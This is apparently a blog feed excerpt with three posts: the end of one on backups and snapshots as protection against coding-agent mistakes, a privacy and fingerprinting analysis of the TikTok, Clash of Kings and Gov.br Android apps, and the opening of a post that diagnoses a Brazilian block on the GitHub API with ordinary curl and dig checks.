<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/07/11/agentes-apagando/system-health-widget.webp" alt="clock-tui’s system health widget: restic backups ok 19h ago, 23 timeshift snapshots, dev-cache cleanup ok, btrfs scrub and trim up to date, zero IO errors, load, memory and storage usage per filesystem."  loading="lazy" /></p>
<p>One verdict line (&ldquo;all systems healthy&rdquo;) and the state of everything this post described: the restic backup ran 19 hours ago and the next one is at 03:03; Timeshift keeps 23 snapshots; the development cache cleanup ran 32 hours ago; the BTRFS scrub is up to date on each filesystem, with a recent trim, healthy allocation and zero I/O errors; plus zombies, load, memory and each disk&rsquo;s usage. The widget (<code>tclock-system-health</code>) ships with the repository and the AUR package, and detects most of this on its own.</p>
<p>Behind it are the automated maintenance jobs, all systemd timers: the daily restic at 3am; <code>dev-cache-clean</code> (on the 1st and the 15th) sweeping orphaned Rust <code>target/</code> dirs and the yay cache, which together give back dozens of gigs; the monthly per-filesystem <code>btrfs-scrub</code> validating checksums; the weekly <code>fstrim</code>. None of it requires me to remember anything. When one of them is late or fails, the widget changes color right in my face.</p>
<p>This is the home-grade level, proportional to a personal PC. At a company you go full-blown: Prometheus collecting metrics, Grafana drawing the dashboards, Alertmanager waking up the on-call person at 3am. The scale changes, the principle is the same: the state of the system visible at all times, and someone (or something) getting notified when it goes off the rails.</p>
<h2>Conclusion: discipline<span class="hx:absolute hx:-mt-20" id="conclusion-discipline"></span>
    <a href="#conclusion-discipline" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Go back to the two tweets at the beginning. In both cases, a single wrong command caused real loss, and the public discussion became &ldquo;who do I trust more&rdquo;. The right question is a different one: <strong>why does a single wrong command, from any origin, have the power to cause unrecoverable loss on your machine?</strong></p>
<p>Being a professional is being disciplined, and discipline starts at home. My personal PC operates with the same rigor I would demand from a corporate environment: a filesystem with lightweight scheduled snapshots, recoverable boot via GRUB, daily external backups with a retention policy, a sandbox for suspicious sessions, isolated environments rebuildable from versioned recipes, automated maintenance and a monitor that warns me when any piece falls behind. Monthly maintenance cost of all this: close to zero. It was set up once (in good part by the agents themselves) and runs on its own.</p>
<p>With these layers, the question in the title almost loses its meaning. The agent deleted a directory? Snapshot from an hour ago, two minutes of recovery. Destroyed the system? Boot into a snapshot via GRUB, restore, ten minutes. Fried the disk along with it? restic on the NAS, yesterday&rsquo;s backup. In five months of YOLO mode I never needed any of these nets for an AI accident. But I sleep well precisely because they&rsquo;re there.</p>
<p>An LLM running loose on your system is just the most recent stress test of your discipline. If an out-of-control agent can cause permanent loss to your data, the vulnerability was always there, waiting for a mistake of yours, a bad disk or a ransomware. The agent was just the messenger that arrived first.</p>
]]></content:encoded><category>ai-jail</category><category>coding-agents</category><category>security</category><category>storage-and-backup</category></item><item><title>I Had Fable 5 Analyze the Code of TikTok, Clash of Kings and Gov.br - Understanding Fingerprinting</title><link>https://akitaonrails.github.io/en/2026/07/08/fable-5-analyze-tiktok-clash-of-kings-govbr-fingerprint/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/07/08/fable-5-analyze-tiktok-clash-of-kings-govbr-fingerprint/</guid><pubDate>Wed, 08 Jul 2026 16:00:00 -0300</pubDate><description>&lt;p&gt;Let me open with the most important disclaimer in the whole post, because it changes how you should read everything below: &lt;strong&gt;none of this is 100% factual.&lt;/strong&gt; I asked Claude Fable 5 to do a full analysis of the code of three Android apps, but I have no way to guarantee how deep it actually went without re-auditing file by file myself, and that&amp;rsquo;s hundreds of thousands of files per app. So treat this as a panorama, not a forensic report.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Let me open with the most important disclaimer in the whole post, because it changes how you should read everything below: <strong>none of this is 100% factual.</strong> I asked Claude Fable 5 to do a full analysis of the code of three Android apps, but I have no way to guarantee how deep it actually went without re-auditing file by file myself, and that&rsquo;s hundreds of thousands of files per app. So treat this as a panorama, not a forensic report.</p>
<p>And there are more layers of uncertainty. The APKs came from <a href="https://apkpure.com/"target="_blank" rel="noopener">APKPure</a>, not the official Play Store, so there&rsquo;s a chance (small, but real) they were tampered with along the way. And even after decompiling, there&rsquo;s a pile of binary libraries and SDKs we didn&rsquo;t crack open, assuming they&rsquo;re common libs like Google Firebase or Google Play Services. This mini-project was, at bottom, my own curiosity: I wanted to know what&rsquo;s inside these apps we install without thinking.</p>
<h2>Decompiling Android is way too easy<span class="hx:absolute hx:-mt-20" id="decompiling-android-is-way-too-easy"></span>
    <a href="#decompiling-android-is-way-too-easy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Something a lot of people don&rsquo;t know: an Android app is <strong>way too easy</strong> to decompile. The APK is basically a zip. You unpack it, run a tool like <a href="https://github.com/skylot/jadx"target="_blank" rel="noopener">jadx</a> on the <code>.dex</code> files, and readable Java comes out the other end. If the app is Flutter, you can reconstruct the Dart with <a href="https://github.com/worawit/blutter"target="_blank" rel="noopener">Blutter</a>. If it&rsquo;s a Cocos2d-x game, the Lua scripts are often sitting right there in plaintext, no decryption needed.</p>
<p>This does <strong>not</strong> let you recompile the app from the source (class and method names come scrambled by obfuscation, resources are missing, the signing keys are missing). But for <strong>static analysis</strong> it&rsquo;s more than enough: you can read the endpoints the app contacts, the permissions it asks for, the identifiers it assembles, the SDKs it bundles. That&rsquo;s exactly the kind of reading I asked Fable 5 to do.</p>
<p>One honest limit: the most sensitive part usually lives in <strong>native code</strong> (<code>.so</code>), compiled C/C++, which doesn&rsquo;t decompile into anything readable. In TikTok&rsquo;s case, that&rsquo;s precisely where the guts are, and I&rsquo;ll come back to it in a bit.</p>
<h2>&ldquo;If it&rsquo;s free, you&rsquo;re the product&rdquo;<span class="hx:absolute hx:-mt-20" id="if-its-free-youre-the-product"></span>
    <a href="#if-its-free-youre-the-product" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You&rsquo;ve heard that line a thousand times. It&rsquo;s true, but it almost always stays abstract. Let&rsquo;s make it concrete: how exactly do you become the product? The answer has a technical name, and it&rsquo;s why I picked this angle for the title: <strong>fingerprinting</strong>.</p>
<p>A fingerprint (device fingerprint) is a persistent identifier the platform assembles by combining dozens of signals from your device: phone model, OS version, screen resolution, CPU, RAM, carrier, timezone, language, battery, installed fonts, nearby Wi-Fi and Bluetooth networks, motion sensors, and so on. None of those data points identifies you on its own. But the <strong>combination</strong> of them is so specific it becomes practically unique, an implicit &ldquo;serial number&rdquo; for your device that you never explicitly authorized.</p>
<p>The clever part, and the reason it&rsquo;s so valuable, is the <strong>persistence</strong>. A cookie you can clear. The advertising ID you can reset. But a well-built fingerprint survives you clearing the app&rsquo;s data, survives a reinstall, sometimes survives a factory reset. It re-identifies you as the same person after any attempt to start from scratch. That&rsquo;s why companies want it so badly: with the fingerprint, they cross-reference your behavior across apps, across sessions, across reinstalls, and build a profile that follows you even when you think you wiped your tracks. That profile is the product from the line above. And the product is you.</p>
<p>The three apps I analyzed sit at three very different points on that spectrum, and that&rsquo;s where it gets interesting.</p>
<h2>The three apps<span class="hx:absolute hx:-mt-20" id="the-three-apps"></span>
    <a href="#the-three-apps" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><h3>TikTok: industrial-grade collection, armored against auditing<span class="hx:absolute hx:-mt-20" id="tiktok-industrial-grade-collection-armored-against-auditing"></span>
    <a href="#tiktok-industrial-grade-collection-armored-against-auditing" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The <a href="https://github.com/akitaonrails/tiktok_analysis"target="_blank" rel="noopener">tiktok_analysis</a> was the densest one. Version 46.0.1, 37 dex files, 204 native libraries. The honest conclusion, and the one I think is fairest: <strong>it&rsquo;s not disguised malware, but it is industrial-grade data collection engineered to be hard to audit.</strong></p>
<p>On the reassuring side: no secret servers. Every host the app contacts belongs to TikTok/ByteDance or to a <em>named</em> ad/analytics vendor (Adjust, AppsFlyer, Facebook, Google, ThreatMetrix, Amazon). We found no IMEI or MAC collection, no <code>QUERY_ALL_PACKAGES</code>, no reading of SMS or call logs. US and EU user data goes to dedicated enclaves (the famous Project Texas, with Oracle in Ashburn).</p>
<p>On the worrying side: it collects <strong>a lot</strong>. A persistent device fingerprint, precise location, Wi-Fi and Bluetooth scanning, contacts upload (if you enable &ldquo;find friends&rdquo;), motion sensors, and a check against a fixed list of <strong>91 named apps</strong> to see which ones you have installed (competitors, PayPal, Venmo, Spotify, sister ByteDance apps). Your advertising ID fans out to about 6 third parties.</p>
<p>And the central finding: the fingerprint and much of the telemetry are assembled in <strong>native code</strong> (<code>libmetasec_ov.so</code> and a stack of crypto libs), with each request&rsquo;s signature going out encrypted. Meaning, even decompiling the whole app, you can&rsquo;t tell exactly which bytes leave the device.</p>
<p>To attack that black box specifically, one of the analyses ran a <code>strings</code> sweep over the 204 native libraries (the repo&rsquo;s <a href="https://github.com/akitaonrails/tiktok_analysis/blob/main/docs/13-native-library-analysis.md"target="_blank" rel="noopener">report 13</a>), and there <code>libmetasec_ov.so</code> gives the game away in plaintext. You can read the fields it collects (<code>secdeviceid</code>, <code>device_id</code>, battery level and state, screen size), the function that signs the requests, the ByteDance telemetry endpoints baked into the binary, and even the scheduler that fires the upload on a timer. What the Java layer only let you infer, the native code confirms. It&rsquo;s a fingerprinting machine, plain and simple.</p>
<p>And the same sweep went looking for exactly what everyone&rsquo;s afraid of finding (keylogger, screen recorder, input injection) and found none of it. The scary keyword hits were false friends: <code>keylog</code> was the TLS debug log, <code>screenshot</code> was the video player and C2PA content authenticity, <code>getevent</code> was a media method name. There&rsquo;s anti-debug and frida/xposed detection, yes, but that&rsquo;s the app inspecting itself from the inside, standard security-library behavior, not snooping on the rest of the phone.</p>
<p>So the opacity is still the point, just sharper: we know what <code>libmetasec_ov</code> does and where it reports to, and what stays locked are the exact payload bytes, which only native disassembly or live capture would reveal. &ldquo;Not proven to be spyware&rdquo; and &ldquo;collects far more than it needs, opaquely&rdquo; are both true at once, now with plaintext confirmation that the fingerprinting engine is real.</p>
<h3>Clash of Kings: the game is honest, the monetization is predatory<span class="hx:absolute hx:-mt-20" id="clash-of-kings-the-game-is-honest-the-monetization-is-predatory"></span>
    <a href="#clash-of-kings-the-game-is-honest-the-monetization-is-predatory" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The <a href="https://github.com/akitaonrails/clash_of_kings_analysis"target="_blank" rel="noopener">clash_of_kings_analysis</a> was a pleasant surprise on the privacy front. It&rsquo;s a strategy game by China&rsquo;s Elex, a Cocos2d-x engine with almost 12,000 Lua scripts in plaintext. And check it out: <strong>no GPS, no camera, no microphone, no contacts, no SMS, no IMEI.</strong> The two most sensitive reads it <em>can</em> do (installed-app list and Wi-Fi MAC) are both consent-gated. No malware, no hidden exfiltration.</p>
<p>The privacy concern is the same villain as TikTok in a simpler version: a <strong>reset-resistant device UUID</strong>, written in four different places (system settings, preferences, SD card, and cloud backup) precisely to survive a reinstall. Plus telemetry to China-region infra and to Tencent Bugly.</p>
<p>Where Clash of Kings really weighs on you is the <strong>monetization</strong>. It&rsquo;s the complete predatory free-to-play kit: loot boxes (the hero &ldquo;luck draws&rdquo;), countdown-timer offers to manufacture FOMO, VIP pay-to-win tiers, cumulative-spend ladders with leaderboards for who spends the most (the whale hunt), a monthly card, the whole package. The half-full side: drop-rate odds are disclosed in-game, and the Chinese anti-addiction and real-name system for minors is present. Decent privacy, wallet in danger.</p>
<h3>Gov.br: the example of how to do it right (with one caveat)<span class="hx:absolute hx:-mt-20" id="govbr-the-example-of-how-to-do-it-right-with-one-caveat"></span>
    <a href="#govbr-the-example-of-how-to-do-it-right-with-one-caveat" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The <a href="https://github.com/akitaonrails/govbr_analysis"target="_blank" rel="noopener">govbr_analysis</a> is the counterpoint, and it actually left me relieved. It&rsquo;s the official digital-identity app of the Brazilian government, built in Flutter (I reconstructed the Dart with Blutter). By the standards of a mandatory government app, it&rsquo;s <strong>well-built and privacy-respectful</strong>: traffic is almost all to <code>*.gov.br</code>, SERPRO and Dataprev, TLS is certificate-pinned, credentials sit in Android&rsquo;s encrypted KeyStore, the ICP-Brasil signing uses FIPS-grade crypto, and the app hardens hard against rooted or tampered devices. And most importantly: <strong>no commercial ad trackers.</strong> No Segment, Adjust, AppsFlyer, or Meta.</p>
<p>The two honest caveats: it bundles <strong>Google Firebase</strong> (Analytics, Crashlytics, Messaging, Remote Config) with collection on by default and the ad-id permission declared, which is the lazy default of nearly every app today; and your <strong>proof-of-life selfie gets uploaded to the government backend</strong> for identity matching, which is inherent to the purpose and doesn&rsquo;t go to third parties. The one item only live traffic capture would settle is whether your CPF gets attached to the Crashlytics reports. But overall, if every app were built with this kind of care, this post wouldn&rsquo;t exist.</p>
<h2>What almost every app carries along<span class="hx:absolute hx:-mt-20" id="what-almost-every-app-carries-along"></span>
    <a href="#what-almost-every-app-carries-along" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Cross-referencing the three (and this is where the pattern shows up), you can see what tends to come bundled in the app you download, even in a government app:</p>
<ul>
<li><strong>Google Firebase / Play Services</strong>: present in all three. Analytics, Crashlytics (error reporting), Cloud Messaging (push), Remote Config. It&rsquo;s so ubiquitous it became invisible infrastructure. And it ships with collection on by default.</li>
<li><strong>Ad attribution stack</strong>: Adjust, AppsFlyer, Branch.io, Singular, Facebook SDK. The job is to link &ldquo;you clicked this ad&rdquo; to &ldquo;you installed and used the app.&rdquo; TikTok had a redundant pileup: five of these at once, each collecting your ad-id independently.</li>
<li><strong>Ad networks</strong>: Google&rsquo;s AdMob/DoubleClick, and in the games&rsquo; case the ad-mediation ecosystem.</li>
<li><strong>Region-specific analytics/crash</strong>: Tencent Bugly in Clash of Kings is the example, telemetry going to Chinese infra.</li>
<li><strong>A specialized fingerprint/anti-fraud service</strong>: the most striking case was <a href="https://risk.lexisnexis.com/products/threatmetrix"target="_blank" rel="noopener">LexisNexis&rsquo;s ThreatMetrix</a> in TikTok: a company whose business literally <em>is</em> building device fingerprints for fraud detection. Legit for anti-fraud use, but it&rsquo;s literally a fingerprint-as-a-service machine, embedded.</li>
</ul>
<p>The takeaway is that &ldquo;product&rdquo; isn&rsquo;t assembled by a single company. It&rsquo;s five, six, seven partners, each grabbing a piece, and the fingerprint stitching it all back into one profile. Nobody&rsquo;s spying on you alone. It&rsquo;s a group effort.</p>
<h2>What you can do<span class="hx:absolute hx:-mt-20" id="what-you-can-do"></span>
    <a href="#what-you-can-do" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You won&rsquo;t zero this out short of leaving the internet, but you can cut the exposed surface down a lot:</p>
<ul>
<li><strong>Don&rsquo;t consent to what isn&rsquo;t needed.</strong> GPS is the big one. A video app doesn&rsquo;t need your precise location to work. Deny it, or grant only &ldquo;while using the app.&rdquo; Same goes for contacts, microphone, and camera: only allow them when the feature you want to use right now requires it.</li>
<li><strong>Reset your advertising ID now and then</strong> (and on Android, you can choose to &ldquo;delete advertising ID&rdquo; outright). It doesn&rsquo;t kill the fingerprint, but it breaks part of the trail.</li>
<li><strong>Be suspicious of &ldquo;find friends.&rdquo;</strong> That&rsquo;s the contacts-upload trigger. You hand over the entire social network of people who trusted you with their number.</li>
<li><strong>Prefer the web version when you can.</strong> A browser with a tracker blocker exposes less fingerprint than the native app, which has access to sensors and signals the browser doesn&rsquo;t give up.</li>
<li><strong>Accept the trade-off consciously.</strong> The point isn&rsquo;t to go paranoid and uninstall everything. It&rsquo;s to know the price. If you find TikTok fun enough to pay for it with your fingerprint, great, that&rsquo;s an informed decision. The problem is paying without knowing you&rsquo;re paying.</li>
</ul>
<h2>The point of the post<span class="hx:absolute hx:-mt-20" id="the-point-of-the-post"></span>
    <a href="#the-point-of-the-post" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>None of this proves or disproves that a specific app is 100% safe. Static analysis shows what the app is <strong>capable</strong> of doing, what&rsquo;s built inside it; only live traffic capture, with a rooted device and a MITM proxy, would show what actually leaves over the network on each request. I didn&rsquo;t go that far. This is a glimpse, not a verdict.</p>
<p>And that&rsquo;s exactly the point. Today, with a good LLM and a free afternoon, any curious developer can crack open their own phone and see what&rsquo;s running inside it, without depending on some tech influencer&rsquo;s opinion or an alarmist headline. The three full analyses are on GitHub (<a href="https://github.com/akitaonrails/tiktok_analysis"target="_blank" rel="noopener">TikTok</a>, <a href="https://github.com/akitaonrails/clash_of_kings_analysis"target="_blank" rel="noopener">Clash of Kings</a>, <a href="https://github.com/akitaonrails/govbr_analysis"target="_blank" rel="noopener">gov.br</a>) with step-by-step instructions to reproduce. Grab an app you use every day and do the same. It&rsquo;s the closest thing to reading the label before you eat that we have in the software world.</p>
]]></content:encoded><category>security</category><category>software-engineering</category></item><item><title>Bypassing the GitHub API Block in Brazil</title><link>https://akitaonrails.github.io/en/2026/06/11/bypassing-github-api-block-brazil/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/06/11/bypassing-github-api-block-brazil/</guid><pubDate>Thu, 11 Jun 2026 20:00:00 -0300</pubDate><description>&lt;p&gt;This is a Brazil problem today. It may be your problem tomorrow if you live under a government that likes silent network blocks, copyright panic, opaque court orders, or any other flavor of &amp;ldquo;trust us, we know what we are doing.&amp;rdquo; The concrete symptom here is simple: &lt;code&gt;api.github.com&lt;/code&gt; started timing out in Brazil. The main &lt;code&gt;github.com&lt;/code&gt; site opens. SSH clones may keep working. But tools that depend on the GitHub API, like &lt;code&gt;gh&lt;/code&gt;, CI automations, personal scripts, bots, CLIs, dashboards, and anything that queries issues and pull requests, start hanging.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a Brazil problem today. It may be your problem tomorrow if you live under a government that likes silent network blocks, copyright panic, opaque court orders, or any other flavor of &ldquo;trust us, we know what we are doing.&rdquo; The concrete symptom here is simple: <code>api.github.com</code> started timing out in Brazil. The main <code>github.com</code> site opens. SSH clones may keep working. But tools that depend on the GitHub API, like <code>gh</code>, CI automations, personal scripts, bots, CLIs, dashboards, and anything that queries issues and pull requests, start hanging.</p>
<p><a href="https://x.com/ayubio/status/2064878070394183955"target="_blank" rel="noopener">Ayub posted on X</a> that this has all the usual signs of a national block ordered by Anatel against <code>api.github.com</code>. In that same context, the tweet he quoted showed <code>api.github.com</code> resolving to <code>4.228.31.149</code>, but with no working route. The author said he tested through VIVO, Claro, and Oracle, and that it only worked through a Miami VPN. In other words: this does not look like &ldquo;my Wi-Fi is down.&rdquo; It looks like a block somewhere in the path.</p>
<p>According to Ayub, this kind of thing often happens in blocking waves, many times after Wednesday meetings with large carriers, inside the Brazilian mechanism for blocking addresses under the excuse of fighting piracy. The problem is the blast radius: instead of taking down only the target, it breaks legitimate infrastructure. Today it was the GitHub API. Tomorrow it can be anything your work depends on.</p>
<p>And yes, I confirmed it from here.</p>
<h2>How to know if you were affected<span class="hx:absolute hx:-mt-20" id="how-to-know-if-you-were-affected"></span>
    <a href="#how-to-know-if-you-were-affected" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>First, test whether the main site opens:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> https://github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Here it worked. Then test the API:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> https://api.github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Here I got:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">curl: (28) Connection timed out after 8002 milliseconds</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now check which IP your system resolves:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">getent ahostsv4 api.github.com</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In my case:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">4.228.31.149    STREAM api.github.com
</span></span><span class="line"><span class="cl">4.228.31.149    DGRAM
</span></span><span class="line"><span class="cl">4.228.31.149    RAW</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And <code>gh</code> depends on this API too. So commands like these may hang:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">gh api rate_limit
</span></span><span class="line"><span class="cl">gh pr list
</span></span><span class="line"><span class="cl">gh issue list</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>If you are a developer and suddenly <code>gh</code> stopped, your release scripts stopped, your PR-listing bot stopped, or some CLI that queries issues started hanging, this may be it. It is not your bug. Your route to <code>api.github.com</code> is being thrown into a hole.</p>
<h2>First try DNS 9.9.9.9<span class="hx:absolute hx:-mt-20" id="first-try-dns-9999"></span>
    <a href="#first-try-dns-9999" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Some people mentioned that changing DNS to <a href="https://www.quad9.net/"target="_blank" rel="noopener">Quad9</a>, <code>9.9.9.9</code>, could work around it. It makes sense to test, because some blocks are done through DNS: the provider returns the wrong IP, NXDOMAIN, or sends you into a sinkhole. If the problem is only your provider&rsquo;s DNS, changing DNS fixes it.</p>
<p>Test without changing anything in the system:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">dig @9.9.9.9 +short api.github.com A</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In my case, it did not help. Quad9 also returned:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">4.228.31.149</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And forcing that IP in <code>curl</code> still timed out:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">curl -4 -I --connect-timeout <span class="m">8</span> --max-time <span class="m">12</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  --resolve api.github.com:443:4.228.31.149 <span class="se">\
</span></span></span><span class="line"><span class="cl">  https://api.github.com/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
